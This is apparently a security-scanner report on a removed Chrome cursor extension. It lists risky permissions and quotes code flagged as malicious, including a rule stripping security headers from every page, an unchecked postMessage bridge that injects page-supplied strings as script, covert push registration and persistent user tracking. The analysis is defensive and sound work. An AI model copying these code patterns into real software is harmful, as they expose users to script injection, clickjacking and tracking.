Custom Cursor Changer for Chrome

ID: ceiekmdcekohaonbmapmnnnkppbjlbkp

Could be malicious

Supported Languages

๐Ÿ‡ช๐Ÿ‡นAmharic
๐Ÿ‡ธ๐Ÿ‡ฆArabic
๐Ÿ‡ง๐Ÿ‡ฉBengali
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡ฌ๐Ÿ‡งBritish English
๐Ÿ‡ง๐Ÿ‡ฌBulgarian
๐Ÿ‡ช๐Ÿ‡ธCatalan
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡ญ๐Ÿ‡ทCroatian
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ฉ๐Ÿ‡ฐDanish
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ช๐Ÿ‡ชEstonian
๐Ÿ‡ต๐Ÿ‡ญFilipino
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡ณGujarati
๐Ÿ‡ฎ๐Ÿ‡ฑHebrew
๐Ÿ‡ฎ๐Ÿ‡ณHindi
๐Ÿ‡ญ๐Ÿ‡บHungarian
๐Ÿ‡ฎ๐Ÿ‡ฉIndonesian
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฎ๐Ÿ‡ณKannada
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ฑ๐Ÿ‡ปLatvian
๐Ÿ‡ฑ๐Ÿ‡นLithuanian
๐Ÿ‡ฒ๐Ÿ‡พMalay
๐Ÿ‡ฎ๐Ÿ‡ณMalayalam
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ฎ๐Ÿ‡ทPersian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ดRomanian
๐Ÿ‡ท๐Ÿ‡บRussian
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ธ๐Ÿ‡ฎSlovenian
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ฐ๐Ÿ‡ชSwahili
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡ฎ๐Ÿ‡ณTamil
๐Ÿ‡ฎ๐Ÿ‡ณTelugu
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish
๐Ÿ‡บ๐Ÿ‡ฆUkrainian
๐Ÿ‡บ๐Ÿ‡ธUS English
๐Ÿ‡ป๐Ÿ‡ณVietnamese

Extension Info & Metadata

Status
Removed
Version
1.1.0
Size
0.09 MB
Rating
3.8/5
Reviews
28
Users
900,000
Type
Extension
Updated
Feb 11, 2024
Category
Lifestyle Fun
Price
Free
Featured
Yes
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
https://mycustomcursors.onlineView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
900,000

Get custom cursor for Chrome on Computer, Chromebook, Windows 10, Mac. A huge library with lots of free sets and collections

Custom Cursor Changer is a great extension for Chrome that lets you change your browsing experience by creating your own mouse pointers. With the massive library of this extension, you can find anything to suit your style, whether it's a set of alien symbols or something else entirely. Change your cursor now and get ready for an awesome experience! Use a lot of cursor collection on webpages and websites. Nowadays, all Chrome users can customize their cursor. So, if you are not satisfied with the default cursor and want to bring a custom one, youโ€™ve come to the right place. We will show you how to get it for Chrome on Computer, Chromebook, Windows 10, Mac, etc. Go through the post to know about it. Step 1: First of all, open up Chrome and go to the Custom Cursor Changer for Chrome website. Now add the extension by clicking on Add to Chrome button. Step 2: Once installed, click on Add New button from the pop-up window that appears. Step 3: Next, click on Select Image button from the window that comes up after clicking on Add. Step 4: Now select an image from collection. Make Chrome your own. Personalize your Chrome browsing experience. If you're looking for a way to customize the mouse cursor in Chrome, you came to the right place. With Custom Cursors for Chrome you can customize your own mouse cursors with just a few clicks. There are over 1,000 custom cursors ready to be used on any website. The extension allows you to use customized cursors on any web page. The changes are made in real time so that you can see what they look like before deciding if they work or not. Whether you're looking for cursors that look like an anime character, a cat, dog, or something else, Custom Cursors for Chrome has it all. There are even custom cursors for holidays and special occasions! Custom Cursors for Chrome is the perfect tool for people who want to change their mouse cursor but don't want to do it manually. If you want to be able to use a different cursor on every website that you visit, this extension is perfect for you!

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
http://*/*
Host
Critical
Broad host access โ€” the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access โ€” the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
gcm
Permission
Medium
This permission enables Google Cloud Messaging for push notifications. Rated Medium because it can maintain persistent connections, receive external messages, and operate in the background.

The declarativeNetRequest rule silently strips both the `content-security-policy` and `x-frame-options` response headers from every page the user visits (urlFilter: "*", resourceType: main_frame). Removing CSP eliminates the browser's primary defence against XSS and data-injection attacks on every site; removing X-Frame-Options re-enables clickjacking on every site. This is a hallmark attack-enablement technique used by malicious extensions to make the victim's entire browsing surface exploitable.

r-1.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame"      ]    }  }]

This web-accessible script (loadable from any origin) listens for postMessages with no origin check. When a message carries `_cursors` truthy, it calls `initCursorsFromMes(key, handler)` which constructs the string `handler + '(' + JSON.stringify(key) + ')'` and injects it as a `<script>` tag directly into the page DOM via `replaceCursors`. This is equivalent to `eval()` of attacker-controlled data: any web page that can load `initCursor.js` (it is a `web_accessible_resource` for all URLs) can send a postMessage to trigger arbitrary JavaScript execution in the context of that page, completing a remote code execution primitive.

js/initCursor.js (Line 8)
function replaceCursors(parsedCursorsData) {  const cursorDataId = Date.now().toString(36) + Math.random().toString(36).substr(2);  const cursorsData = document.createElement('script');  cursorsData.setAttribute('id', cursorDataId);  cursorsData.appendChild(document.createTextNode(parsedCursorsData + `; document.querySelector('#${cursorDataId}').remove();`));  document.body.appendChild(cursorsData);}function initCursorsFromMes(cursorData, basedCursorData) {  if (!document.body || !document.body.appendChild) {    return setTimeout(() => initCursorsFromMes(cursorData, basedCursorData), 100);  }  if (basedCursorData) {    cursorData = basedCursorData + '(' + JSON.stringify(cursorData) + ')'  }  replaceCursors(cursorData)}window.addEventListener('message', e => {  if (!e || !e.data) return;  const {    _cursors,    key,    handler  } = e.data;  _cursors && initCursorsFromMes(key, handler)});getCursors();

The content script listens for postMessages from any origin (`*`) and exposes two dangerous primitives to every web page: (1) arbitrary write to extension local storage โ€” any page can call `setCursor` with any key/value pair, including overwriting cursor URLs or security-relevant config; (2) arbitrary read from extension storage โ€” any page can use `getCursor` to extract any stored value, including the tracking user ID, and the response is broadcast to `*` origin. The `handler` field from the page-supplied message is forwarded verbatim to `initCursor.js`, which then executes it as code (see separate finding), forming a complete XSS-to-RCE bridge from any web page.

js/ContentScript.js (Line 1)
window.addEventListener("message", (event) => {  if (event.data.type && (event.data.type === "FROM_PAGE")) {    chrome.storage.local.get(["user_Id_custom_cursors"], function(result) {      window.postMessage({        type: "FROM_EXTENSION",        user_id_cursors: result.user_Id_custom_cursors      }, "*");    });  }  ...} else if (event?.data?.cursorMsg) {  if (event.data.options.action === 'setCursor') chrome.storage.local.set({    [event.data.options.key]: event.data.options.value  });  if (event.data.options.action === 'getCursor') {    chrome.storage.local.get([event.data.options.key], response => {      event.source.postMessage({        _cursors: '1',        key: response[event.data.options.key],        handler: event.data.options.handler      }, '*');    });  }}}, false);

The background service worker silently registers the extension with Firebase Cloud Messaging (GCM) using sender ID `744626227416`. This establishes a persistent, covert push-notification channel from the extension operator's server to every user's browser. Although no `chrome.gcm.onMessage` listener is visible in this version of the code, the registration token stored in local storage can be used by the backend to push arbitrary payloads to the extension at any time โ€” a standard C2 (command-and-control) infrastructure pattern for malicious extensions.

js/background.js (Line 116)
chrome.storage.local.get("gcm_id", ({  gcm_id}) => {  gcm_id || chrome.gcm.register(["744626227416"], ({    gcm_id  }) => {    !chrome.runtime.lastError && chrome.storage.local.set({      gcm_id    })  })})

On first install, the extension automatically creates a persistent unique user profile on `mycustomcursors.online` and stores the server-assigned `_id` locally. This ID is used across all subsequent API calls to correlate the user's cursor activity, and is also broadcast to any web page that requests it (see ContentScript finding). With 900,000 users, this constitutes mass covert identity-linked tracking. The uninstall URL also sends the user ID back to the operator's server, confirming the tracking intent.

js/background.js (Line 1)
function createUser() {  return new Promise(async (resolve, reject) => {    const response = await fetch('https://mycustomcursors.online/node/user', {      method: 'POST',      headers: {        'Content-Type': 'application/json',      },      body: JSON.stringify({        cursorsCollection: [],        lastUsedCollection: []      }),    });    const data = await response.json();    resolve(data);  });}...if (!result.user_Id_custom_cursors) createUser().then(data => {  chrome.storage.local.set({    'user_Id_custom_cursors': data._id  });  chrome.runtime.setUninstallURL(`https://mycustomcursors.online/pool?userId=${data._id}`);});

The `setCursorCookie` function reads cookies set by `mycustomcursors.online` and stores them into extension local storage. Cookies from the operator's domain can carry arbitrary data that the server sets, effectively allowing the remote server to inject configuration or payloads into the extension's local state. Combined with the `getCursor` postMessage bridge, this data becomes readable by any web page, completing a channel from the operator's server โ†’ extension storage โ†’ any web page.

js/background.js (Line 66)
function setCursorCookie() {  chrome.cookies.getAll({    url: "https://mycustomcursors.online"  }, _cookies => {    for (let i = 0; i < _cookies.length; i++) {      if (_cookies[i].name === 'cursorData') {        const cursorData = JSON.parse(JSON.stringify(decodeURIComponent(_cookies[i].value)));        cursorData && chrome.storage.local.set({          cursorData        });      }    }  });}

Any web page on any origin can send a `FROM_PAGE` postMessage and receive back the user's persistent tracking ID (`user_Id_custom_cursors`) with no origin validation. The response is posted to `"*"` (all origins), meaning other frames on the page can also intercept it. This allows cross-site identity correlation: every website the user visits can silently query the extension for a stable unique identifier tied to the user's account on `mycustomcursors.online`.

js/ContentScript.js (Line 1)
window.addEventListener("message", (event) => {  if (event.data.type && (event.data.type === "FROM_PAGE")) {    chrome.storage.local.get(["user_Id_custom_cursors"], function(result) {      window.postMessage({        type: "FROM_EXTENSION",        user_id_cursors: result.user_Id_custom_cursors      }, "*");    });  }  ...}, false);

By severity

Critical5
High6
Medium2
Low0

Versions scanned

Showing 2 of 10 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.2.0.16
1.1.07

Files with findings

4 distinct paths โ€” top paths by unique finding count:

  • js/background.js5
  • js/ContentScript.js4
  • js/initCursor.js2
  • r-1.json2
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/initCursor.js (line 11)This code turns a string into a live `<script>` element and injects it into every page. Because the string comes from message-passed cursor data elsewhere in the extension, this is effectively a remote-code execution โ€ฆ
1.2.0.1
2Code Injection
critical
js/initCursor.js (line 8)This web-accessible script (loadable from any origin) listens for postMessages with no origin check. When a message carries `_cursors` truthy, it calls `initCursorsFromMes(key, handler)` which constructs the string `hโ€ฆ
3Network Interception
critical
r-1.json (line 1)The declarative net request rules strip both `Content-Security-Policy` and `X-Frame-Options` from every main-frame response. Removing these security headers across all sites weakens browser protections and can enable โ€ฆ
1.2.0.1
4Network Interception
critical
r-1.json (line 1)The declarativeNetRequest rule silently strips both the `content-security-policy` and `x-frame-options` response headers from every page the user visits (urlFilter: "*", resourceType: main_frame). Removing CSP eliminaโ€ฆ
5Privilege Escalation
critical
js/ContentScript.js (line 1)The content script listens for postMessages from any origin (`*`) and exposes two dangerous primitives to every web page: (1) arbitrary write to extension local storage โ€” any page can call `setCursor` with any key/valโ€ฆ
6Privilege Escalation
high
js/ContentScript.js (line 45)This message bridge lets arbitrary page scripts request privileged extension actions such as opening/closing tabs and reading or writing extension storage keys, again without checking sender origin. That gives untrustโ€ฆ
1.2.0.1
7Remote Code Loading
high
js/background.js (line 86)The extension reads a `cursorData` cookie from `mycustomcursors.online` and stores its contents for later use. In combination with the script-injection logic, this creates a server-controlled path where cookie-deliverโ€ฆ
1.2.0.1
8Remote Code Loading
high
js/background.js (line 116)The background service worker silently registers the extension with Firebase Cloud Messaging (GCM) using sender ID `744626227416`. This establishes a persistent, covert push-notification channel from the extension opeโ€ฆ
9Tracking
high
js/background.js (line 1)On first install, the extension automatically creates a persistent unique user profile on `mycustomcursors.online` and stores the server-assigned `_id` locally. This ID is used across all subsequent API calls to correโ€ฆ
10Unauthorized Data Collection
high
js/ContentScript.js (line 1)Any webpage can send `window.postMessage` requests and receive the extension's stored user identifier and cookie-backed `_cursor` payload because there is no origin validation. Exposing extension-held data directly toโ€ฆ
1.2.0.1
11Unauthorized Data Collection
high
js/background.js (line 66)The `setCursorCookie` function reads cookies set by `mycustomcursors.online` and stores them into extension local storage. Cookies from the operator's domain can carry arbitrary data that the server sets, effectively โ€ฆ
12Tracking
medium
js/background.js (line 206)The background script phones home to a remote analytics endpoint immediately and every hour using a persistent `userId` and device attributes. This is a built-in tracking mechanism tied to a unique identifier rather tโ€ฆ
1.2.0.1
13Tracking
medium
js/ContentScript.js (line 1)Any web page on any origin can send a `FROM_PAGE` postMessage and receive back the user's persistent tracking ID (`user_Id_custom_cursors`) with no origin validation. The response is posted to `"*"` (all origins), meaโ€ฆ
URLs
18
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
fonts.googleapis.com-https://fonts.googleapis.com
fonts.gstatic.com-https://fonts.gstatic.com
fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Inter:wght@500;600;700&family=Montserrat:wght@500&display=swap
mycustomcursors.online/cursor-collectionhttps://mycustomcursors.online/cursor-collection
mycustomcursors.online/how-to-usehttps://mycustomcursors.online/how-to-use
mycustomcursors.online/node/userhttps://mycustomcursors.online/node/user
mycustomcursors.online/node/cursorhttps://mycustomcursors.online/node/cursor
mycustomcursors.online/node/collection/61f0107fdf02797036b0807dhttps://mycustomcursors.online/node/collection/61f0107fdf02797036b0807d
mycustomcursors.online/node/user/collection/https://mycustomcursors.online/node/user/collection/
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.